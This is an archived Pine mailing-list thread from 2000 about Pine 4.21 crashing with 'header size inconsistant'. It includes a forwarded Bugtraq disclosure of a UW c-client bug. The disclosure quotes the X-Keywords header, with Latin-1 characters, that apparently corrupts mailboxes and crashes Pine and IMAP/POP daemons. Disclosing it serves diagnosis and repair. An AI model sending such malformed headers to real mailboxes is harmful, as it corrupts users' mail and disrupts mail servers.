From pinedev@shiva0.cac.washington.edu Fri Sep 1 15:24:14 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 1 Sep 2000 15:24:14 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA02144; Fri, 1 Sep 2000 15:24:12 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA03211; Fri, 1 Sep 2000 15:24:12 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA19251; Fri, 1 Sep 2000 15:23:38 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA127042 for ; Fri, 1 Sep 2000 15:21:53 -0700 Received: from chia.umiacs.umd.edu (chia.umiacs.umd.edu [128.8.120.111]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA13103 for ; Fri, 1 Sep 2000 15:21:52 -0700 Received: from localhost (adam@localhost) by chia.umiacs.umd.edu (8.9.3/8.9.1) with ESMTP id SAA28039 for ; Fri, 1 Sep 2000 18:21:50 -0400 (EDT) Message-Id: Date: Fri, 1 Sep 2000 18:21:50 -0400 (EDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: adam@cfar.umd.edu To: Pine Discussion Forum Subject: pine 4.21 crashes. MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Authentication-Warning: chia.umiacs.umd.edu: adam owned process doing -bs X-Sender: adam@chia.umiacs.umd.edu X-WEB: http://www.eax.com X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN anything known? My pine started to crash quite frequently recently. Always the same error message, like this: Problem detected: "header size inconsistant". Pine Exiting. Abort (core dumped) You have mail in /var/mail/adam adam@chia:~ 06:19pm> -- Adam http://www.eax.com The Supreme Headquarters of the 32 bit registers -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Fri Sep 1 15:37:28 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 1 Sep 2000 15:37:28 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA13787; Fri, 1 Sep 2000 15:37:27 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA03594; Fri, 1 Sep 2000 15:37:26 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA19790; Fri, 1 Sep 2000 15:36:58 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA126984 for ; Fri, 1 Sep 2000 15:36:30 -0700 Received: from ns.shellworld.net (IDENT:root@ns.shellworld.net [64.29.16.176]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA02976 for ; Fri, 1 Sep 2000 15:36:29 -0700 Received: from localhost (ka3agm@localhost) by ns.shellworld.net (8.9.3/8.9.3) with ESMTP id SAA20828 for ; Fri, 1 Sep 2000 18:36:24 -0400 Message-Id: Date: Fri, 1 Sep 2000 18:36:24 -0400 (EDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Walt Smith To: Pine Discussion Forum Subject: PC-Pine question MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On another list, I saw the statement made that PC-Pine works only with IMAP servers and that if your remote mail server is a POP3, it probably won't function. I haven't yet tried PC-Pine, but my Unix copy of Version 4.21 accesses POP3 servers just fine, thank you very much. Should I expect the same performance from PC-Pine if I structure the server address the same way as I do in Unix Pine? -- Walt Smith - Raleigh, NC ka3agm@ns.shellworld.net -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Fri Sep 1 20:06:11 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 1 Sep 2000 20:06:10 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id UAA22045; Fri, 1 Sep 2000 20:06:09 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA09213; Fri, 1 Sep 2000 20:06:08 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id UAA06780; Fri, 1 Sep 2000 20:05:30 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id UAA61758 for ; Fri, 1 Sep 2000 20:04:33 -0700 Received: from legolas.mdh.se (cel95eig@legolas.mdh.se [130.243.77.20]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA00912 for ; Fri, 1 Sep 2000 20:04:32 -0700 Received: by legolas.mdh.se (8.9.3/8.9.3) id FAA13696; Sat, 2 Sep 2000 05:04:27 +0200 (MET DST) Message-Id: Date: Sat, 2 Sep 2000 05:04:26 +0200 (MET DST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Emil Isberg To: Pine Discussion Forum Subject: UW c-client library vulnerability (fwd) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE X-Sender: cel95eig@mds.mdh.se X-To: adam@cfar.umd.edu, Pine Discussion Forum X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This was recently sent to Bugtraq list... It contained the same X-Keywords: header that he describes... You have to edit your mailbox with another mailer or an editor (pico doesn't use the c-client) to remove that header from any mail in the mailbox... ---------- Forwarded message ---------- Date: Fri, 1 Sep 2000 19:53:22 +0300 From: Juhapekka Tolvanen To: BUGTRAQ@SECURITYFOCUS.COM Subject: UW c-client library vulnerability It seems, that c-client libraries by University of Washington have some bug(s), that makes some programs that depend upon those libraries go crazy. AFAIK affected programs include at least Pine (read "pain"), ipop3d and IMAPD. And those programs and libraries are commonly used in Unixes. I don't know, if any patch, fix, work-around etc. exist. * * * Problem was caused by my X-Keywords-header, that serves as so called spook = line (Hello, NSA! :-) ): X-Keywords: kettutyt=F6t, Sanna Sillanp=E4=E4, IKL, Jammu Siltavuori, ryss= =E4, somali, lesbo, homo, lesbian, anarchism, nazi, communism, CIA, bomb, nuclear, Semte= x, satan, traitor, pedophile I shortened it to this: X-Keywords: lesbo, homo, lesbian, anarchism, nazi, communism, CIA, bomb, nuclear, Semtex, satan, traitor, pedophile And then problems disappeared. I use a character set called ISO-LATIN-1. An= d my original X-Keywords: -header had some scandinavic characters ("umlaut o" aka "o with dots" and "umlaut a" aka "a with dots" ) in words "kettutyt=F6t" and "ryss=E4". Here are some problem reports from mailing-lists of Debian: Date: Wed, 30 Aug 2000 23:52:12 +0200 From: Cristian Ionescu-Idbohrn To: bugs@bugs.debian.org CC: juhtolv@st.jyu.fi, debian-devel@lists.debian.org, debian-legal@lists.debian.org Subject: imap mailbox killer (Clip) I don't know if it was your intension, but you managed to totally screw up my inbox (no hard feelings)! The IMAP daemon went crazy trying to make sense of that box and put it's holy counts on the "Subject: DON'T DELETE THIS MESSAGE -- FOLDER INTERNAL DATA". Is this a security hole?^X Date: Wed, 30 Aug 2000 15:31:12 -0700 (MST) To: Cristian Ionescu-Idbohrn cc: juhtolv@st.jyu.fi (Clip) I've been fighting this problem all day too. Pine blows up when you try to save the INBOX back out with any changes. (I'm using fetchmail and plain vanilla mail spool files.) It was driving me nuts. Thanks for posting. (I saved a copy of my mailbox and will pick through it with a fine-tooth comb later.) (Clip) Date: Thu, 31 Aug 2000 10:22:48 +0200 (CEST) From: Cristian Ionescu-Idbohrn To: Juhapekka Tolvanen cc: debian-devel@lists.debian.org (Clip) Looks like all boxes get an extra message inserted. It looks something like this: ,----- | From MAILER-DAEMON Wed Aug 30 09:54:25 2000 | Delivery-Date: Thu May 11 21:51:47 2000 | Date: Thu, 11 May 2000 21:51:47 +0200 (MET DST) | From: Mail System Internal Data | Subject: DON'T DELETE THIS MESSAGE -- FOLDER INTERNAL DATA | X-IMAP: 0928135936 0000033614 | Status: RO | X-Status: | X-Keywords: | X-UID: 2 | | This text is part of the internal format of your mail folder, and is not | a real message. It is created automatically by the mail system software. | If deleted, important folder data will be lost, and it will be re-created | with the data reset to initial values. `----- I don't know if it's the IMAP daemon or the pine client who is responsible for this. One (or several) of Juhapekka message header entries, probably this: ,----- | X-Keywords: +=3D?iso-8859-1?Q?kettutyt=3DF6t=3D2C_Sanna_Sillanp=3DE4=3DE4=3D2C_IKL=3D2C= _Jammu_Silta?=3D | =3D?iso-8859-1?Q?vuori=3D2C_ryss=3DE4=3D2C_somali=3D2C_lesbo=3D2C_homo= =3D2C_lesbian=3D2C?=3D | =3D?iso-8859-1?Q?_anarchism=3D2C_nazi=3D2C_communism=3D2C_CIA=3D2C_bomb= =3D2C_nuclear?=3D | =3D?iso-8859-1?Q?=3D2C_Semtex=3D2C_satan=3D2C_traitor=3D2C_pedophile?=3D `----- caused the daemon (or the client) screw up the "magic". I ended up with a "magic" message looking like this: ,----- | From MAILER-DAEMON Wed Aug 30 16:36:48 2000 | Date: 30 Aug 2000 16:36:48 +0200 | From: Mail System Internal Data | Subject: DON'T DELETE THIS MESSAGE -- FOLDER INTERNAL DATA | Message-ID: <967646208@host.com> | X-IMAP: 0967646162 0000000339 +=3D?iso-8859-1?Q?kettutyt=3DF6t=3D2C_Sanna_Sillanp=3DE4=3DE4=3D2C_IKL=3D2C= _Jammu_Silta?=3D | Status: RO | | This text is part of the internal format of your mail folder, and is not | a real message. It is created automatically by the mail system software. | If deleted, important folder data will be lost, and it will be re-created | with the data reset to initial values. `----- and a lot of NULL characters preceeding a few (5-6) of the messages in some boxes. Hope this helps to find the problem. There's definitely a BUG lurking somewhere. (Clip) Date: Thu, 31 Aug 2000 12:34:14 -0400 (EDT) From: "Jaldhar H. Vyas" Reply-To: "Jaldhar H. Vyas" To: Richard A Nelson cc: Juhapekka Tolvanen , Cristian Ionescu-Idbohrn , debian-devel@lists.debian.= org, 70647@bugs.debian.org (Clip) > > There might be bug in either Pine or IMAP(D) or both. > > Both... I had to manually delete several messages in Pine 4.21 folders > and I don't use IMAP > Pine also uses libc-client which is where the bug is. (Clip) Date: Thu, 31 Aug 2000 12:31:03 -0400 (EDT) From: "Jaldhar H. Vyas" To: Buddha Buck cc: Richard A Nelson Juhapekka Tolvanen , Cristian Ionescu-Idbohrn , 70647@bugs.debian.org, debian-devel@lists.debian.org (Clip) > My school uses imap, but I didn't -directly- invoke it in this process. = It > may have been invoked by their mailer behind the scenes, though. > Not necessarily. However ipop3d and imapd both use the c-client library for all the mail handling routines. That's where the bug is so both would have been affected. (Clip) -- Juhapekka "naula" Tolvanen * * * U of Jyv=E4skyl=E4 * * juhtolv@st.jyu.fi http://www.cc.jyu.fi/~juhtolv/index.html * "STRAIGHT BUT NOT NARROW!" --------------------------------------------------------------------- "so impressed with all you do. tried so hard to be like you. flew too high and burnt the wing. lost my faith in everything" nine inch nails From pinedev@shiva0.cac.washington.edu Fri Sep 1 21:39:28 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 1 Sep 2000 21:39:27 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id VAA21654; Fri, 1 Sep 2000 21:39:26 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA05628; Fri, 1 Sep 2000 21:39:26 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id VAA06067; Fri, 1 Sep 2000 21:38:56 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id VAA42346 for ; Fri, 1 Sep 2000 21:38:21 -0700 Received: from jim.southcom.com.au (IDENT:root@jim.southcom.com.au [203.31.83.230]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA05626 for ; Fri, 1 Sep 2000 21:38:17 -0700 Received: from localhost (jim@localhost) by jim.southcom.com.au (8.11.0/8.11.0) with ESMTP id e824aTg23881 for ; Sat, 2 Sep 2000 14:36:29 +1000 Message-Id: Date: Sat, 2 Sep 2000 14:36:28 +1000 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jim Woodward To: Pine Discussion Forum Subject: Re: pine 4.21 crashes. In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 1 Sep 2000 adam@cfar.umd.edu wrote: > > anything known? My pine started to crash quite frequently recently. > Always the same error message, like this: > > Problem detected: "header size inconsistant". > Pine Exiting. > Abort (core dumped) > You have mail in /var/mail/adam > adam@chia:~ 06:19pm> I just got exactly the same error: [Closing folder "BUGTRAQ-List". Keeping all 1,616 messages.] Problem detected: "header size inconsistant". Pine Exiting. Aborted (core dumped) [14:23:55] jim@jim:~$ This is the first time I have seen this, even if there was a header size problem should it terminante with a core dump? I am running pine 4.21 on i386 Linux with glibc2, compiled with: gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release) Anyone have any clues? - name : Jim Woodward www : http://www.jim.southcom.com.au email : jim@jim.southcom.com.au From pinedev@shiva0.cac.washington.edu Fri Sep 1 21:53:47 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 1 Sep 2000 21:53:47 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id VAA17122; Fri, 1 Sep 2000 21:53:45 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA11016; Fri, 1 Sep 2000 21:53:45 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id VAA06321; Fri, 1 Sep 2000 21:53:20 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id VAA31798 for ; Fri, 1 Sep 2000 21:52:51 -0700 Received: from chia.umiacs.umd.edu (chia.umiacs.umd.edu [128.8.120.111]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA07856 for ; Fri, 1 Sep 2000 21:52:51 -0700 Received: from localhost (adam@localhost) by chia.umiacs.umd.edu (8.9.3/8.9.1) with SMTP id AAA29071; Sat, 2 Sep 2000 00:52:40 -0400 (EDT) Message-Id: Date: Sat, 2 Sep 2000 00:52:39 -0400 (EDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: adam@cfar.umd.edu To: Pine Discussion Forum Subject: Re: pine 4.21 crashes. In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Jim Woodward X-Cc: Pine Discussion Forum X-Authentication-Warning: chia.umiacs.umd.edu: adam owned process doing -bs X-Sender: adam@chia.umiacs.umd.edu X-WEB: http://www.eax.com X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN more datapoints: - switched back to pine 3.95 and it does not crash anymore. - I looked for X-Keyword: as someone else suggested but all I have noticed so far seemed to be empty ones, and thus probably not cause of crash. > > anything known? My pine started to crash quite frequently recently. > > Always the same error message, like this: > > > > Problem detected: "header size inconsistant". > > Pine Exiting. > > Abort (core dumped) > > You have mail in /var/mail/adam > > adam@chia:~ 06:19pm> > > > I just got exactly the same error: > I am running pine 4.21 on i386 Linux with glibc2, compiled with: -- Adam http://www.eax.com The Supreme Headquarters of the 32 bit registers From pinedev@shiva0.cac.washington.edu Fri Sep 1 23:47:29 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 1 Sep 2000 23:47:28 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA19369; Fri, 1 Sep 2000 23:47:27 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA07731; Fri, 1 Sep 2000 23:47:26 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id XAA08867; Fri, 1 Sep 2000 23:46:05 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id XAA29870 for ; Fri, 1 Sep 2000 23:45:17 -0700 Received: from lcjdap.soroscj.ro (IDENT:qmailr@lcjdap.soroscj.ro [193.226.84.253]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id XAA10721 for ; Fri, 1 Sep 2000 23:45:14 -0700 Received: (qmail 15892 invoked by uid 559); 2 Sep 2000 07:03:04 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 2 Sep 2000 07:03:04 -0000 Message-Id: Date: Sat, 2 Sep 2000 10:03:04 +0300 (EEST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Seby To: Pine Discussion Forum Subject: pine 4.21 crashes. In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Problem detected: "header size inconsistant". Pine Exiting. Aborted (core dumped) Can it be fixed.. and why does it crash? Seby... -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sat Sep 2 02:07:58 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Sat, 2 Sep 2000 02:07:57 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA08065; Sat, 2 Sep 2000 02:07:56 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA15383; Sat, 2 Sep 2000 02:07:56 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id CAA09102; Sat, 2 Sep 2000 02:07:25 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id CAA154742 for ; Sat, 2 Sep 2000 02:06:39 -0700 Received: from caveman.geac.com.au (caveman.geac.com.au [203.30.73.2]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id CAA32267 for ; Sat, 2 Sep 2000 02:06:36 -0700 Received: (qmail 16533 invoked from network); 2 Sep 2000 20:10:30 +1000 Received: from trowel.geac.com.au (134.128.219.30) by caveman.geac.com.au with SMTP; 2 Sep 2000 20:10:30 +1000 Received: (qmail 19225 invoked from network); 2 Sep 2000 21:09:26 +1100 Received: from fgh.geac.com.au (134.128.222.46) by trowel.geac.com.au with SMTP; 2 Sep 2000 21:09:26 +1100 Received: from localhost (dave@localhost) by fgh.geac.com.au with ESMTP id UAA29020; Sat, 2 Sep 2000 20:06:15 +1000 (EST) Message-Id: Date: Sat, 2 Sep 2000 20:06:14 +1000 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dave Horsfall To: Pine Discussion Forum Subject: header size inconsistant (sic) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion List , pine-bugs@cac.washington.edu X-Authentication-Warning: fgh.geac.com.au: dave owned process doing -bs X-No-Archive: Yes X-Witty-Saying: "Tesseract - Enter at own risk" X-Disclaimer: "Me, speak for us?" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN First, it's "inconsistent," not "inconsistant." Anyway, this has to be the most useless error message ever. All of a sudden, PINE (4.21, self-compiled on Solaris 2.6) is core-dumping with this message as its last gasp. Now where, exactly, is the problem in my mailbox? -- Dave Horsfall CL VK2KFU dave@geac.com.au Ph: +61 2 9978-7493 Fx: * 9978-7422 Geac Computers P/L (FGH Division) 2/57 Christie St, St Leonards 2065, Australia -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sat Sep 2 03:39:51 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Sat, 2 Sep 2000 03:39:51 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id DAA21502; Sat, 2 Sep 2000 03:39:49 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA11603; Sat, 2 Sep 2000 03:39:49 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id DAA29061; Sat, 2 Sep 2000 03:39:17 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id DAA147034 for ; Sat, 2 Sep 2000 03:38:34 -0700 Received: from rhea.worldonline.nl (rhea.worldonline.nl [195.241.48.139]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA24949 for ; Sat, 2 Sep 2000 03:38:34 -0700 Received: from shell.worldonline.nl (shell.worldonline.nl [194.151.128.14]) by rhea.worldonline.nl (Postfix) with SMTP id 65C9336B6A; Sat, 2 Sep 2000 12:38:18 +0200 (MET DST) Message-Id: Date: Sat, 2 Sep 2000 12:38:32 +0200 (MET DST) Reply-To: Bruce Cohen Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Bruce Cohen To: Pine Discussion Forum Subject: Re: header size inconsistant (sic), message to save shrank In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Cc: pine@cac.washington.edu, pine-bugs@cac.washington.edu, Dave Horsfall X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Could the developers please come into this discussion? Too many of us are having problems that are definitely header-related and as far as I can tell they don't seem to have been solved in 4.21, considering the frequent complaints in the Pine Discussion Forum. I for one am certainly wary of upgrading from 3.96 (which used to work PERFECTLY) in view of what I have been reading here. Exactly what is going on? (a msg from me and one from Atle Weibell follow the one from Dave, but there have been many others the past few weeks). Bruce Cohen ---------------------- On Sat, 2 Sep 2000, Dave Horsfall wrote: > First, it's "inconsistent," not "inconsistant." >Anyway, this has to be the most useless error message ever. All of a >sudden, PINE (4.21, self-compiled on Solaris 2.6) is core-dumping with this message as its last gasp. >Now where, exactly, is the problem in my mailbox? -- >Dave Horsfall CL VK2KFU dave@geac.com.au Ph: +61 2 9978-7493 Fx: *9978-7422 -- >Geac Computers P/L (FGH Division) 2/57 Christie St, St Leonards 2065, -- >Australia ------------------------------- Date: Sat, 12 Aug 2000 08:12:26 +0200 (MET DST) From: Bruce Cohen To: Pine Discussion Forum Cc: Atle Weibell Subject: Re: Message to save shrank I, too, have been having problems with message to save shrank for some months. The problem started when my provider installed a different io handler. If I look at the headers, I see that this new io handler adds a line to the first "Received:" header: for example, (envelope-from PINE-INFO-owner@u.washington.edu) If I log on to pine and do not open the INBOX and then quit the automatic move to mbox works fine, however neither the automatic move or the manual save to mbox will work if the INBOX has actually been opened. The message will shrink by a certain number of bytes, depending upon who sent the message. In the above example (PINE-INFO as sender) the message to save shrinks by 64 bytes - the above line is however only about 48 bytes. If I look at the headers in the pine INBOX I see that the previous line appears to be too long (DST is in the wrong place): Received: from put.worldonline.nl (relay-2.worldonline.nl [195.241.48.138]) by pop3-1.worldonline.nl (8.9.3 (WOL 1.2)/8.9.3) with ESMTP id UAA22295 for ; Wed, 2 Aug 2000 20:54:54 +0200 (MET DST) (envelope-from PINE-INFO-owner@u.washington.edu) If I then count immediately after MET and count all spaces it's 64 bytes. If I look at the saved header from the mbox (assuming I can somehow convince the message to move there), I see that the previous line seems to be OK, if indeed a trifle long for comfort (76 bytes plus $0A $09). Can it be that pine expands the TAB to spaces and then recompresses? It it getting confused because the expanded line is now over 80 bytes? Will this problem disappear magically if I have the provider upgrade to 4.21 Unix (presently 3.96)? If I try to respond to a message, the quoting no longer works the way it's supposed to: the > only appears on the first line - I have to add the rest manually! There are other problems with the INBOX as well, that may or may not be related to the message shrank problem, but certainly are related to the change in io handler: 1) some messages appear twice in the Index - if you read one and quit, the "duplicate" is gone on the next login. 2) sometimes messages that aren't marked for deletion are expunged with those that are marked. However, on the next login they're (usually) back again where they belong. 3) sometimes (rarely) messages that are marked for deletion won't expunge. 4) Sorting by date in the INBOX no longer works correctly, as well - it's ALMOST right, but a few messages will appear out of order... Once a message has made it to the mbox, there are no further problems with it - it can be moved at will to another folder or whatever. Can anyone shed any light on the subject? Bruce Cohen On Wed, 9 Aug 2000, Atle Weibell wrote: > Honored Pine users, >I get this message each time I try to save a mail with attachments to a >local folder: >[Message to save shrank! (#6: 49523 --> 838) >...where #6 is the message no in INBOX, 49253 the size of the message >with >attachment, and 838 the size without attachment. >I also sometimes get another message: >[Message size does not match expected size, continuing...] >This happens also on messages that doesn't contain attachments... >Anyone knows why this happens? >Regards, >-- >Atle Weibell | atlwe@ux.his.no | pr 51690007 | mo 90690010 | fx 51690431 From pinedev@shiva0.cac.washington.edu Sun Sep 3 12:57:53 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Sun, 3 Sep 2000 12:57:53 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA21933; Sun, 3 Sep 2000 12:57:52 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA11455; Sun, 3 Sep 2000 12:57:52 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA19504; Sun, 3 Sep 2000 12:57:16 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP 